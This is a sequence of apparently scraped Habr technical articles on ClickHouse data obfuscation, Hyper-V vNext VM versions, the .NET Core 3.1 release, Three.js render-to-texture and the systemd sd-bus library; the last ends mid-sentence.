But we still want to preserve the cardinality of data. In other words, if the source data had 123456 unique URL values, the result should have approximately the same number of unique values. We can use a deterministically initialized random number generator to achieve this. The easiest way to do this is to use a hash function and apply it to the original value. In other words, we get a pseudorandom result that is explicitly determined by the original value.
Another requirement is that the source data may have many different URLs that start with the same prefix but aren't identical. For example: `https://www.yandex.ru/images/cats/?id=xxxxxx`. We want the result to also have URLs that all start with the same prefix, but a different one. For example: `http://ftp.google.kz/cgi-bin/index.phtml?item=xxxxxx`. As a random number generator for generating the next character using a Markov model, we'll take a hash function from a moving window of 8 bytes at the specified position (instead of taking it from the entire string).
`https://www.yandex.ru/images/cats/?id=12345
^^^^^^^^
distribution: [aaaa][b][cc][dddd][e][ff][ggggg][h]...
hash("images/c") % total_count: ^``http://ftp.google.kz/cg...`
It turns out to be exactly what we need. Here's the example of page titles:
>
> ```
> PhotoFunia - Haber7 - Hava mükemment.net Oynamak içinde şaşıracak haber, Oyunu Oynanılmaz • apród.hu kínálatában - RT Arabic
> PhotoFunia - Kinobar.Net - apród: Ingyenes | Posti
> PhotoFunia - Peg Perfeo - Castika, Sıradışı Deniz Lokoning Your Code, sire Eminema.tv/
> PhotoFunia - TUT.BY - Your Ayakkanın ve Son Dakika Spor,
> PhotoFunia - big film izle, Del Meireles offilim, Samsung DealeXtreme Değerler NEWSru.com.tv, Smotri.com Mobile yapmak Okey
> PhotoFunia 5 | Galaxy, gt, după ce anal bilgi yarak Ceza RE050A V-Stranç
> PhotoFunia :: Miami olacaksını yerel Haberler Oyun Young video
> PhotoFunia Monstelli'nin En İyi kisa.com.tr –Star Thunder Ekranı
> PhotoFunia Seks - Politika,Ekonomi,Spor GTA SANAYİ VE
> PhotoFunia Taker-Rating Star TV Resmi Söylenen Yatağa każdy dzież wierzchnie
> PhotoFunia TourIndex.Marketime oyunu Oyna Geldolları Mynet Spor,Magazin,Haberler yerel Haberleri ve Solvia, korkusuz Ev SahneTv
> PhotoFunia todo in the Gratis Perky Parti'nin yapıyı bu fotogram
> PhotoFunian Dünyasın takımız halles en kulları - TEZ
>
> ```
>
Results
-------
After trying four methods, I got so tired of this problem that it was time to just choose something, make it into a usable tool, and announce the solution. I chose the solution that uses random permutations and Markov models parametrized by a key. It is implemented as the **clickhouse-obfuscator** program, which is very easy to use. The input is a table dump in [any supported format](https://clickhouse.yandex/docs/en/interfaces/formats/) (such as CSV or JSONEachRow), and the command line parameters specify the table structure (column names and types) and the secret key (any string, which you can forget immediately after use). The output is the same number of rows of obfuscated data.
The program is installed with clickhouse-client, has no dependencies, and works on almost any flavor of Linux. You can apply it to any database dump, not just ClickHouse. For instance, you can generate test data from MySQL or PostgreSQL databases or create development databases that are similar to your production databases.
`clickhouse-obfuscator \
--seed "$(head -c16 /dev/urandom | base64)" \
--input-format TSV --output-format TSV \
--structure 'CounterID UInt32, URLDomain String, \
URL String, SearchPhrase String, Title String' \
< table.tsv > result.tsv
clickhouse-obfuscator --help`
Of course, everything isn't so cut and dried, because data transformed by this program is almost completely reversible. The question is whether it is possible to perform the reverse transformation without knowing the key. If the transformation used a cryptographic algorithm, this operation would be as difficult as a brute-force search. Although the transformation uses some cryptographic primitives, they are not used in the correct way, and the data is susceptible to certain methods of analysis. To avoid problems, these issues are covered in the documentation for the program (access it using `--help`).
In the end, we transformed the data set we need [for functional and performance testing](https://clickhouse.yandex/docs/en/getting_started/example_datasets/metrica/) and the Yandex VP of data security approved publication.
[clickhouse-datasets.s3.yandex.net/hits/tsv/hits\_v1.tsv.xz](https://clickhouse-datasets.s3.yandex.net/hits/tsv/hits_v1.tsv.xz)
[clickhouse-datasets.s3.yandex.net/visits/tsv/visits\_v1.tsv.xz](https://clickhouse-datasets.s3.yandex.net/visits/tsv/visits_v1.tsv.xz)
Non-Yandex developers use this data for real performance testing when optimizing algorithms inside ClickHouse. Third-party users can provide us with their obfuscated data so that we can make ClickHouse even faster for them. We also released independent open benchmark for hardware and cloud providers on top of this data: [clickhouse.yandex/benchmark\_hardware.html](https://clickhouse.yandex/benchmark_hardware.html) | https://habr.com/ru/post/485096/ | null | en | null |
# Hyper-V vNext — версии VM и новый функционал
Речь пойдет про сборку 10565.
Как Вам, наверное, известно при миграции виртуальной машины (далее ВМ) с 2012 R2 на vNext не происходит автоматической конвертации конфигурации ВМ на новую версию, для того чтобы ВМ можно было мигрировать обратно. Зависимость функционала ВМ он версии:
1. «Горячее» добавление\удаление оперативной памяти — версия ВМ 6.0
2. «Горячее» добавление\удаление сетевых адаптеров — версия ВМ 5.0
3. Secure Boot для Linux VM — версия ВМ 6.0
4. Production Checkpoints — версия ВМ 6.0
5. PowerShell Direct — версия ВМ 6.2
6. Виртуальный TPM (vTPM) — версия ВМ 6.2
7. Virtual Machine Grouping — версия ВМ 6.2
Мне кажется про PowerShell Direct тут уже писали, но вкратце — это возможность исполнять PowerShell команды в ВМ через VMBus.
`Enter-PSSession -VMName VMName"`
`Invoke-Command -VMName VMName -ScriptBlock { Commands }`
Работает только на vNext с гостем vNext, необходимо включить все компоненты интеграции и перегрузить гостя.
Узнать версию ВМ: `Get-VM | ft Name,Version`
Создать ВМ совместимую с 2012 R2 на vNext (начиная со сборки 10565): .`New-VM -Name "Имя ВМ" -Version 5.0`
Апгрейд версии ВМ: `Update-VMVersion -Name "Имя ВМ"`
При обновлении произойдет изменение формата конфигурационных файлов, новые версии ВМ используют следующий формат файлов:
1. Файл конфигурации — бинарный .vmcx
2. Файл Runtime State — бинарный .vmrs
3. Диск — .vhd\vhdx, без изменений
4. Разностные файлы диска — .avhdx, используются для чекпойнтов
5. Файлы чекпойнтов — при создании чекпойнта создаются .vmrs/.vmcx файлы и разностный дисковый файл.
Кстати, про чекпойнты, в vNext нас ждут Production Checkpoint'ы. Что это значит, при создании чекпойнта будет вызван VSS внутри ВМ, таким образом можно будет получать консистентное состояние ВМ (вместе с VSS aware приложениями). Я так понимаю что при создании такого чекпоинта не будет сохранятся оперативная память и состояние, т.е. при возвращении на этот чекпойнт ВМ будет загружаться «с нуля». Кроме того можно выбрать несколько режимов чекпойнтов для ВМ: Standard, Production, Production Only, Disabled. Тут все довольно понятно единственное — разница между «Production» и «Production Only», в том что «Production» в случае ошибки VSS сделает обычный чекпойнт, а «Production Only» нет.
Возможно кто-то подкинет информацию про Virtual Machine Grouping? Я не нашел ничего… | https://habr.com/ru/post/269329/ | null | ru | null |
# Announcing .NET Core 3.1
We’re excited to announce the release of .NET Core 3.1. It’s really just a small set of fixes and refinements over [.NET Core 3.0](https://devblogs.microsoft.com/dotnet/announcing-net-core-3-0/), which we released just over two months ago. The most important feature is that .NET Core 3.1 is an [long-term supported (LTS) release](https://dotnet.microsoft.com/platform/support/policy/dotnet-core) and will be supported for three years. As we’ve done in the past, we wanted to take our time before releasing the next LTS release. The extra two months (after .NET Core 3.0) allowed us to select and implement the right set of improvements over what was already a very stable base. .NET Core 3.1 is now ready to be used wherever your imagination or business need takes it.
You can [download .NET Core 3.1](https://dotnet.microsoft.com/download/dotnet-core/3.1), for Windows, macOS, and Linux:
* [.NET Core 3.1 SDK and Runtime](https://dotnet.microsoft.com/download/dotnet-core/3.1)
* [Docker container images](https://hub.docker.com/_/microsoft-dotnet-core)
* [Snap installer](https://snapcraft.io/dotnet-sdk)
[ASP.NET Core](https://devblogs.microsoft.com/aspnet/asp-net-core-updates-in-net-core-3-1/) and [EF Core](https://devblogs.microsoft.com/dotnet/announcing-entity-framework-core-3-1-and-entity-framework-6-4/) are also being released today.
[Visual Studio 2019 16.4](https://devblogs.microsoft.com/visualstudio/tis-the-season-visual-studio-2019/) was also released today and includes .NET Core 3.1. It is a required update to use .NET Core 3.1 with Visual Studio. For Visual Studio 2019 users, we recommend simply updating Visual Studio to 16.4 and instead of separately downloading .NET Core 3.1.
Visual Studio for Mac also supports and includes .NET Core 3.1, in the Visual Studio for Mac 8.4 Preview channel. You will need to opt into the Preview channel to use .NET Core 3.1.
Release notes:
* [.NET Core 3.1 release notes](https://github.com/dotnet/core/tree/master/release-notes/3.1)
* [GitHub issue for .NET Core 3.1 issues](https://github.com/dotnet/core/issues/3950)
* [GitHub release](https://github.com/dotnet/core/releases/tag/v3.1.0)
The changes in .NET Core 3.1 were primarily focussed on [Blazor](https://devblogs.microsoft.com/aspnet/asp-net-core-updates-in-net-core-3-1/) and [Windows Desktop](https://devblogs.microsoft.com/dotnet/net-core-3-for-windows-desktop/), the two new and large additions in .NET Core 3.0. This includes support for C++/CLI, which has been a regular request for developers targeting Windows.
Before we take a look at what’s new in .NET Core 3.1, let’s take a quick look at the key improvements in [.NET Core 3.0](https://devblogs.microsoft.com/dotnet/announcing-net-core-3-0/), which is the bulk of what’s important to consider for .NET Core 3.1.
Recap of .NET Core 3.0 Improvements
-----------------------------------
The following key improvements were delivered in .NET Core 3.0. We’ve already heard from [developers of big sites](https://twitter.com/Nick_Craver/status/1190217625017696256) that it is working super well for them.
* .NET Core 3.0 is already battle-tested by being hosted for months at [dot.net](https://dotnet.microsoft.com/) and on [Bing.com](https://www.bing.com/version). Many other Microsoft teams will soon be deploying large workloads on .NET Core 3.1 in production.
* Performance is greatly improved across many components and is described in detail at [Performance Improvements in .NET Core 3.0](https://devblogs.microsoft.com/dotnet/performance-improvements-in-net-core-3-0/) and [Hardware Intrinsics in .NET Core](https://devblogs.microsoft.com/dotnet/hardware-intrinsics-in-net-core/).
* C# 8 add async streams, range/index, [more patterns](https://devblogs.microsoft.com/dotnet/do-more-with-patterns-in-c-8-0/), and [nullable reference types](https://devblogs.microsoft.com/dotnet/embracing-nullable-reference-types/). Nullable enables you to directly target the flaws in code that lead to `NullReferenceException`. The lowest layer of the framework libraries has been annotated, so that you know when to expect `null`.
* F# 4.7 focuses on making some thing easier with implicit `yield` expressions and some syntax relaxations. It also includes support for `LangVersion`, and ships with `nameof` and opening of static classes in preview. The F# Core Library now also targets .NET Standard 2.0. You can read more at [Announcing F# 4.7](https://devblogs.microsoft.com/dotnet/announcing-f-4-7/).
* .NET Standard 2.1 increases the set of types you can use in code that can be used woth both .NET Core and Xamarin. [.NET Standard 2.1](https://devblogs.microsoft.com/dotnet/announcing-net-standard-2-1/) includes types since .NET Core 2.1.
* Windows Desktop apps are now supported with .NET Core, for both [Windows Forms](https://github.com/dotnet/winforms) and [WPF](https://github.com/dotnet/wpf) (and [open source](https://devblogs.microsoft.com/dotnet/announcing-net-core-3-preview-1-and-open-sourcing-windows-desktop-frameworks/)). The WPF designer is part of Visual Studio 2019. The [Windows Forms designer](https://devblogs.microsoft.com/dotnet/introducing-net-core-windows-forms-designer-preview-1/) is in preview and available as a download.
* .NET Core apps now have executables by default. In past releases, apps needed to be launched via the `dotnet` command, like `dotnet myapp.dll`. Apps can now be launched with an app-specific executable, like `myapp` or `./myapp`, depending on the operating system.
* High performance JSON APIs have been added, for reader/writer, object model and serialization scenarios. These APIs were built from scratch on top of `SpanT` and use UTF8 under the covers instead of UTF16 (like `string`). These APIs minimize allocations, resulting in faster performance, and much less work for the garbage collector. See [Try the new System.Text.Json APIs](https://devblogs.microsoft.com/dotnet/try-the-new-system-text-json-apis/).
* The garbage collector uses less memory by default, often a lot less. This improvement is very beneficial for scenarios where many applications are hosted on the same server. The garbage collector has also been updated to make better use of large numbers of cores, on machines with >64 cores. See [Making CPU configuration better for GC on machines with > 64 CPUs](https://devblogs.microsoft.com/dotnet/making-cpu-configuration-better-for-gc-on-machines-with-64-cpus/).
* .NET Core has been hardened for Docker to enable .NET applications to work predictably and efficiently in containers. The garbage collector and thread pool have been updated to work much better when a container has been configured for limited memory or CPU. .NET Core docker images are smaller, particularly the SDK image. See: [Running with Server GC in a Small Container Scenario Part 0](https://devblogs.microsoft.com/dotnet/running-with-server-gc-in-a-small-container-scenario-part-0/), [Running with Server GC in a Small Container Scenario Part 1 – Hard Limit for the GC Heap](https://devblogs.microsoft.com/dotnet/running-with-server-gc-in-a-small-container-scenario-part-1-hard-limit-for-the-gc-heap/) and [Using .NET and Docker Together – DockerCon 2019 Update](https://devblogs.microsoft.com/dotnet/using-net-and-docker-together-dockercon-2019-update/).
* Raspberry Pi and ARM chips are now supported to enable IoT development, including with the remote Visual Studio debugger. You can deploy apps that listen to sensors, and print messages or images on a display, all using the new GPIO APIs. ASP.NET can be used to expose data as an API or as a site that enables configuring an IoT device.
Platform support
----------------
.NET Core 3.1 is supported on the following operating systems:
* Alpine: 3.10+
* Debian: 9+
* Ubuntu: 16.04+
* Fedora: 29+
* RHEL: 6+
* openSUSE: 15+
* SUSE Enterprise Linux (SLES): 12 SP2+
* macOS: 10.13+
* Windows Client: 7, 8.1, 10 (1607+)
* Windows Server: 2012 R2+
Note: Windows Forms and WPF apps are only functional and supported on Windows.
Chip support follows:
* x64 on Windows, macOS, and Linux
* x86 on Windows
* ARM32 on Windows and Linux
* ARM64 on Linux (kernel 4.14+)
Note: Please ensure that .NET Core 3.1 ARM64 deployments use Linux kernel 4.14 version or later. For example, Ubuntu 18.04 satisfies this requirement, but 16.04 does not.
Windows Forms Controls Removal
------------------------------
The following Windows Forms controls have been removed from .NET Core 3.1:
* DataGrid
* ToolBar
* ContextMenu
* Menu
* MainMenu
* MenuItem
These controls were replaced with more powerful controls in .NET Framework 2.0, back in 2005. They have not been available by default in the Visual Studio Designer Toolbox for many years. As a result, we decided to remove these controls and focus only on the new ones.
The following replacements are recommended:
| | | |
| --- | --- | --- |
| DataGrid | DataGridView | DataGridCell, DataGridRow, DataGridTableCollection, DataGridColumnCollection, DataGridTableStyle, DataGridColumnStyle, DataGridLineStyle, DataGridParentRowsLabel, DataGridParentRowsLabelStyle, DataGridBoolColumn, DataGridTextBox, GridColumnStylesCollection, GridTableStylesCollection, HitTestType |
| ToolBar | ToolStrip | ToolBarAppearance |
| ToolBarButton | ToolStripButton | ToolBarButtonClickEventArgs, ToolBarButtonClickEventHandler, ToolBarButtonStyle, ToolBarTextAlign |
| ContextMenu | ContextMenuStrip | |
| Menu | ToolStripDropDown, ToolstripDropDownMenu | MenuItemCollection |
| MainMenu | MenuStrip | |
| MenuItem | ToolstripMenuItem | |
Yes, this is an unfortunate breaking change. You will see build breaks if you are using the controls we removed in your applications. Also, if you open .NET Core 3.0 applications in the latest versions of the .NET Core Windows Forms designer, you will see errors if you are using these controls.
We recommend you update your applications to .NET Core 3.1 and move to the alternative controls. Replacing the controls is a straight-forward process, essentially «find and replace».
First, we should have made these changes before we released .NET Core 3.0, and we appologize for that. We try to avoid late changes, and even more for breaking changes, and it pains us to make this one.
As we got further into the Windows Forms designer project, we realized that these controls were not aligned with creating modern applications and should never have been part of the .NET Core port of Windows Forms. We also saw that they would require more time from us to support than made sense.
Our goal is to continue to improve Windows Forms for high DPI, accessibility, and reliability, and this late change was required to enable us to focus on delivering that.
C++/CLI
-------
We added support for creating C++/CLI (AKA «managed C++») components that can be used with .NET Core 3.0+, in Visual Studio 2019 16.4. You need to install the «Desktop development with C++» workload and the «C++/CLI support» component in order to use C++/CLI.
This component adds a couple templates that you can use:
* CLR Class Library (.NET Core)
* CLR Empty Project (.NET Core)
If you cannot find them, just search for them in the New Project dialog.
C++/CLI is only enabled on Windows. You cannot use C++/CLI components targeted for .NET Framework with .NET Core or vice versa.
Closing
-------
We recommend moving to .NET Core 3.1 as soon as you can. It is a great release (largely due to 3.0) that brings improvements to so many aspects of .NET Core. It is also a [long term support (LTS) release](https://dotnet.microsoft.com/platform/support/policy/dotnet-core), and will be supported for three years.
Life cycle update:
* .NET Core 3.0 will reach end-of-life three months from today, on March 3, 2020.
* .NET Core 2.2 will each end of life on December 23rd.
* .NET Core 2.1 will be supported until August 2021 (it is also an LTS release).
The following .NET Core posts are recommended reading to learn more about what you get with .NET Core 3.1 and other projects we’ve been working on.
Fundamentals
* [Floating-Point Parsing and Formatting improvements in .NET Core 3.0](https://devblogs.microsoft.com/dotnet/floating-point-parsing-and-formatting-improvements-in-net-core-3-0/)
* [Default implementations in interfaces](https://devblogs.microsoft.com/dotnet/default-implementations-in-interfaces/)
* [Introducing the new Microsoft.Data.SqlClient](https://devblogs.microsoft.com/dotnet/introducing-the-new-microsoftdatasqlclient/)
* [Introducing diagnostics improvements in .NET Core 3.0](https://devblogs.microsoft.com/dotnet/introducing-diagnostics-improvements-in-net-core-3-0/)
* [Understanding the Whys, Whats, and Whens of ValueTask](https://devblogs.microsoft.com/dotnet/understanding-the-whys-whats-and-whens-of-valuetask/)
Desktop
* [.NET Core 3 for Windows Desktop](https://devblogs.microsoft.com/dotnet/net-core-3-for-windows-desktop/)
* [Continuously deploy and monitor your UWP, WPF, and Windows Forms app with App Center](https://devblogs.microsoft.com/dotnet/continuously-deploy-and-monitor-your-uwp-wpf-and-windows-forms-app-with-app-center/)
* [Introducing .NET Core Windows Forms Designer Preview 1](https://devblogs.microsoft.com/dotnet/introducing-net-core-windows-forms-designer-preview-1/)
* [Migrating a Sample WPF App to .NET Core 3](https://devblogs.microsoft.com/dotnet/migrating-a-sample-wpf-app-to-net-core-3-part-1/)
* [Porting desktop apps to .NET Core](https://devblogs.microsoft.com/dotnet/porting-desktop-apps-to-net-core/)
ASP.NET
* [Improvements in .NET Core 3.0 for troubleshooting and monitoring distributed apps](https://devblogs.microsoft.com/aspnet/improvements-in-net-core-3-0-for-troubleshooting-and-monitoring-distributed-apps/)
* [Blazor Server in .NET Core 3.0 scenarios and performance](https://devblogs.microsoft.com/aspnet/blazor-server-in-net-core-3-0-scenarios-and-performance/)
* [Supporting the community with WF and WCF OSS projects](https://devblogs.microsoft.com/dotnet/supporting-the-community-with-wf-and-wcf-oss-projects/)
* [Upcoming SameSite Cookie Changes in ASP.NET and ASP.NET Core](https://devblogs.microsoft.com/aspnet/upcoming-samesite-cookie-changes-in-asp-net-and-asp-net-core/)
* [Re-reading ASP.Net Core request bodies with EnableBuffering()](https://devblogs.microsoft.com/aspnet/re-reading-asp-net-core-request-bodies-with-enablebuffering/)
* [gRPC vs HTTP APIs](https://devblogs.microsoft.com/aspnet/grpc-vs-http-apis/)
* [Collecting .NET Core Linux Container CPU Traces from a Sidecar Container](https://devblogs.microsoft.com/dotnet/collecting-net-core-linux-container-cpu-traces-from-a-sidecar-container/)
General
* [How the .NET Team uses Azure Pipelines to produce Docker Images](https://devblogs.microsoft.com/dotnet/how-the-net-team-uses-azure-pipelines-to-produce-docker-images/)
* [The Evolving Infrastructure of .NET Core](https://devblogs.microsoft.com/dotnet/the-evolving-infrastructure-of-net-core/)
* [Update on .NET Standard adoption](https://devblogs.microsoft.com/dotnet/update-on-net-standard-adoption/)
* [.NET Core is the Future of .NET](https://devblogs.microsoft.com/dotnet/net-core-is-the-future-of-net/)
* [.NET Core and systemd](https://devblogs.microsoft.com/dotnet/net-core-and-systemd/)
* [.NET Core Workers as Windows Services](https://devblogs.microsoft.com/aspnet/net-core-workers-as-windows-services/) | https://habr.com/ru/post/478896/ | null | en | null |
# Рендер в текстуру с использованием Three.js
Всё, что вы рендерите в Three.js, по умолчанию отображается на экране. Зачем вообще нужен рендеринг, если нельзя увидеть результат? Оказывается, затем, чтобы собрать данные, прежде чем они выведутся на экран (и, следовательно, будут утеряны). Это намного упрощает применение эффектов постобработки, таких как коррекция/искажение цветов и размытие изображения, а также очень полезно для шейдерных эффектов. Такой прием называется рендеринг в текстуру или рендеринг в буфер кадра. Конечный результат сохраняется в текстуре, которую затем можно отобразить на экране. В этой статье я покажу, как это делается, на конкретном примере рендеринга анимированного куба на поверхность другого анимированного куба.
Примечание: эта статья рассчитана на тех, кто уже обладает базовыми знаниями Three.js. Если вы не знакомы с этой библиотекой, для начала рекомендую прочесть статью [How to Learn Three.js for Game Development.](http://gamedevelopment.tutsplus.com/articles/how-to-learn-threejs-for-game-development--gamedev-11787)
**Базовая реализация**
В интернете есть много похожих примеров, которые показывают более сложные эффекты. Но в этой статье представлен лишь самый необходимый минимум.
```
// @автор: Омар Шехата. 2016.
// Загружаем библиотеку Three.js по ссылке:
// http://cdnjs.com/libraries/three.js/
//// Установки обычной сцены ////
var scene = new THREE.Scene();
var width, height = window.innerWidth, window.innerHeight;
var camera = new THREE.PerspectiveCamera( 70, width/height, 1, 1000 );
var renderer = new THREE.WebGLRenderer();
renderer.setSize( width,height);
document.body.appendChild( renderer.domElement );
//// Создаем внеэкранный буфер ////
// Создаем новую сцену, в которой будут храниться буферные объекты
var bufferScene = new THREE.Scene();
// Создаем текстуру, в которой будет храниться результат рендера
var bufferTexture = new THREE.WebGLRenderTarget( window.innerWidth, window.innerHeight, { minFilter: THREE.LinearFilter, magFilter: THREE.NearestFilter});
////
// Сюда добавляем любые объекты для отрисовки в bufferScene //
////
function render() {
requestAnimationFrame( render );
// Устанавливаем рендер во внеэкранную текстуру
renderer.render(bufferScene, camera, bufferTexture);
// И, наконец, отрисовываем результат на экране
renderer.render( scene, camera );
}
render(); // Готово!
```
Для начала у нас есть установки обычной сцены. Затем мы создаем еще одну – bufferScene. Любой объект, добавленный в эту сцену, будет рендериться не на экран, а во внеэкранный буфер. Затем мы создаем текстуру bufferTexture, представляющую собой буфер [WebGLRenderTarget](http://threejs.org/docs/#Reference/Renderers/WebGLRenderTarget), который используется в Three.js для внеэкранного рендеринга. Осталось задать отрисовку bufferScene:
```
renderer.render(bufferScene, camera, bufferTexture);
```
По сути, это всё равно что рендерить обычную сцену, только с указанием третьего аргумента – буфера. Итак, основные этапы:
1. Создание сцены, в которой будут храниться объекты.
2. Создание текстуры, в которой будет храниться результат рендера.
3. Рендеринг сцены в текстуру.
Вот, собственно, и всё. Но пока ничего не видно. Даже если вы добавили объекты в bufferScene, вы ничего не увидите, потому что сначала нужно визуализировать созданную текстуру в основной сцене. Далее мы посмотрим, как это сделать.
**Пример использования**
Мы создадим куб, отрисуем его в текстуру, а затем используем в качестве текстуры для нового куба.
*bufferTexture – экран*
**1. Начинаем с обычной сцены**
Вот так выглядит наша сцена с вращающимся красным кубом на голубом фоне. Если вам интересно, можете посмотреть код, [переключаясь между вкладками CSS и JS на CodePen.](http://codepen.io/tutsplus/pen/MKEeeV)
**2. Рендерим сцену в текстуру**
Теперь отрисуем получившуюся сцену в текстуру. Для этого нужно всего лишь создать bufferScene, как описано в предыдущем разделе, и добавить в нее объекты.
Даже если вы сделали всё правильно, [вы ничего не увидите](http://codepen.io/tutsplus/pen/ZQXOOo), потому что сейчас наша сцена рендерится не на экран, а в bufferTexture.
**3. Рендерим текстуру куба**
bufferTexture ничем не отличается от любой другой текстуры. Мы можем просто создать новый объект и использовать его в качестве текстуры:
```
var boxMaterial = new THREE.MeshBasicMaterial({map:bufferTexture});
var boxGeometry2 = new THREE.BoxGeometry( 5, 5, 5 );
var mainBoxObject = new THREE.Mesh(boxGeometry2,boxMaterial);
// Move it back so we can see it
mainBoxObject.position.z = -10;
// Add it to the main scene
scene.add(mainBoxObject);
```
В движении объект можно [посмотреть здесь.](http://codepen.io/tutsplus/pen/eJGzzK)
На первой текстуре можно нарисовать что угодно и отрендерить ее на любую поверхность.
**Варианты использования**
Такой рендеринг очень хорошо подходит для любых эффектов постобработки. Допустим, вы хотите сделать коррекцию или искажение цветов в сцене. Вместо того чтобы изменять каждый отдельный объект, вы можете отрендерить всю сцену в текстуру и применить к ней нужный эффект, прежде чем отображать на экране.
Рендер в текстуру также может использоваться в любом шейдере, состоящем из нескольких проходов (например Blur). [В предыдущей статье я объяснял, как использовать кадровые буферы для создания эффекта дыма.](http://gamedevelopment.tutsplus.com/tutorials/how-to-write-a-smoke-shader--cms-25587) | https://habr.com/ru/post/305408/ | null | ru | null |
# Новый sd-bus API от systemd
В новом [выпуске systemd v221](http://lists.freedesktop.org/archives/systemd-devel/2015-June/033170.html) мы представляем API [sd-bus](https://github.com/systemd/systemd/blob/master/src/systemd/sd-bus.h), поставляемый со стабильной версией [systemd](https://wiki.freedesktop.org/www/Software/systemd/). sd-bus - это наша минимальная библиотека D-Bus IPC на языке программирования Си, поддерживающая в качестве бэкэндов как классическую D-Bus на основе сокетов, так и [kdbus](https://github.com/systemd/kdbus). Библиотека была частью systemd в течение некоторого времени, но использовалась только внутри проекта, поскольку мы хотели свободно вносить изменения в API, не затрагивая внешних пользователей. Однако теперь, начиная с v221, мы уверены, что сделали стабильный API.
В этом посте я предоставляю обзор библиотеки sd-bus, краткое повторение основ D-Bus и его концепций, а также несколько простых примеров того, как писать клиенты и сервисы D-Bus с её помощью.
### Что такое D-Bus?
Давайте начнем с быстрого напоминания, что на самом деле представляет собой D-Bus. Это мощная универсальная система IPC для Linux и других операционных систем. Он определяет такие понятия, как шины, объекты, интерфейсы, методы, сигналы, свойства. Она предоставляет вам детальный контроль доступа, богатую систему типов, лёгкое обнаружение, самодиагностику, мониторинг, надежную многоадресную рассылку, запуск служб, передачу файловых дескрипторов и многое другое. Есть привязки для многих языков программирования, которые используются в Linux.
D-Bus является основным компонентом систем Linux более 10 лет. Это, безусловно, наиболее широко распространенная локальная система IPC высокого уровня в Linux. С момента создания systemd - это была система IPC, в которой она предоставляла свои интерфейсы. И даже до systemd это была система IPC, которую Upstart использовал для своих интерфейсов. Она используется GNOME, KDE и множеством системных компонентов.
К D-Bus относится как [спецификация](http://dbus.freedesktop.org/doc/dbus-specification.html), так и [эталонная реализация](https://wiki.freedesktop.org/www/Software/dbus/). Эталонная реализация предоставляет как компонент сервера шины, так и клиентскую библиотеку. Хотя существует множество других популярных последующих реализаций клиентской библиотеки, как для Си, так и для других языков программирования, единственная широко используемая серверная сторона - это та, которая указана в эталонной реализации. (Однако проект kdbus работает над предоставлением альтернативы этой реализации сервера в качестве компонента ядра.)
D-Bus в основном используется как локальный IPC поверх сокетов AF\_UNIX. Однако протокол также можно использовать поверх TCP/IP. Он изначально не поддерживает шифрование, поэтому использование D-Bus напрямую через TCP обычно не является хорошей идеей. Можно объединить D-Bus с транспортом, таким как ssh, чтобы защитить его. systemd использует это, чтобы сделать многие из своих API доступными удаленно.
Часто задаваемый вопрос о D-Bus: почему он вообще существует, учитывая, что сокеты AF\_UNIX и FIFO уже есть в UNIX и долгое время успешно используются. Чтобы ответить на этот вопрос, давайте сравним D-Bus с популярными сегодня веб-технологиями: AF\_UNIX/FIFO для D-Bus тоже самое, что TCP для HTTP/REST. В то время, как сокеты AF\_UNIX/FIFO только перекладывают необработанные байты между процессами, D-Bus определяет фактическую кодировку сообщений и добавляет такие концепции, как транзакция вызова методов, система объектов, механизмы безопасности, многоадресная передача сообщений и многое другое.
Из нашего более чем 10-летнего опыта работы с D-Bus сегодня мы знаем, что, хотя есть некоторые области, в которых мы можем что-то улучшить (и мы работаем над этим, как с kdbus, так и с sd-bus), в целом это очень хорошо спроектированная система, которая выдержала испытание временем, выдержала хорошо и получила широкое признание. Если бы сегодня мы сели и разработали совершенно новую систему IPC, включающую весь опыт и знания, полученные с помощью D-Bus, я уверен, что результат был бы очень близок к тому, что уже есть в D-Bus.
Короче говоря: D-Bus великолепен. Если вы разрабатываете проект для Linux и вам нужен локальный IPC, то он должен быть вашим первым выбором. Не только потому, что D-Bus хорошо спроектирован, но и потому, что есть не так много альтернатив, которые могли бы покрыть аналогичную функциональность.
### Для чего подходит sd-bus?
Давайте обсудим, для чего написана библиотека sd-bus, как она соотносится с другими библиотеками D-Bus и почему она может стать библиотекой для вашего проекта.
Для языка программирования Си существуют две популярные библиотеки D-Bus: libdbus, поставляемая в эталонной реализации D-Bus, а также GDBus, компонент GLib, низкоуровневой инструментальной библиотеки GNOME.
Из этих двух библиотек libdbus намного старше, так как она была написана во время составления спецификации. Она была написана с упором на то, чтобы быть переносимой и полезной в качестве серверной части для привязок языков более высокого уровня. Обе эти цели требовали, чтобы API был очень универсальным, в результате чего получился относительно сложный в использовании API в котором отсутствуют элементы, которые делают его легким и интересным для использования из Си. Он предоставляет строительные блоки, но в нём мало инструментов, чтобы упростить строительство дома из них. С другой стороны, библиотека подходит для большинства случаев использования (например, она OOM безопасна, что делает ее подходящей для написания системного программного обеспечения самого низкого уровня) и переносима в операционные системы, такие как Windows или более экзотические UNIX.
[GDBus](https://developer.gnome.org/gio/stable/gdbus-convenience.html) - это гораздо более новая реализация. Она была написана после значительного опыта использования оболочки GLib/GObject вокруг libdbus. GDBus реализована с нуля, не имеет общего кода с libdbus. Её дизайн существенно отличается от libdbus, он содержит генераторы кода, чтобы упростить размещение объектов GObject на шине или взаимодействие с объектами D-Bus как с объектами GObject. Она переводит типы данных D-Bus в GVariant, который является мощным форматом сериализации данных GLib. Если вы привыкли к программированию в стиле GLib, тогда вы почувствуете себя как дома, использовать сервисы и клиенты D-Bus с её помощью намного проще, чем с libdbus.
С sd-bus мы теперь предоставляем третью реализацию, не разделяющую кода ни с libdbus, ни с GDBus. Для нас основное внимание было уделено обеспечению своего рода промежуточного звена между libdbus и GDBus: низкоуровневой библиотекой Си, с которой действительно интересно работать, которая имеет достаточно синтаксического сахара, чтобы упростить создание клиентов и сервисов, но, с другой стороны, более низкоуровневой, чем GDBus/GLib/GObject/GVariant. Чтобы использовать её в различных компонентах системного уровня systemd, она должен быть компактной и безопасной для OOM. Еще одним важным моментом, на котором мы хотели сосредоточиться, была поддержка бэкэнда kdbus с самого начала в дополнение к транспорту сокетов исходной спецификации D-Bus («dbus1»). Фактически, мы хотели спроектировать библиотеку ближе к семантике kdbus, чем к dbus1, где-то были бы отличия, но при этом чтобы хорошо охватывались оба транспорта. В отличие от libdbus или GDBus, переносимость не является приоритетом для sd-bus, вместо этого мы стараемся максимально использовать платформу Linux и раскрывать конкретные концепции Linux везде, где это выгодно. Наконец, производительность также была проблемой (хотя и второстепенной): ни libdbus, ни GDBus не побьют рекорды скорости. Мы хотели улучшить производительность (пропускную способность и задержку), но для нас важнее простота и правильность. Мы считаем, что результат нашей работы вполне соответствует нашим целям: библиотеку приятно использовать, 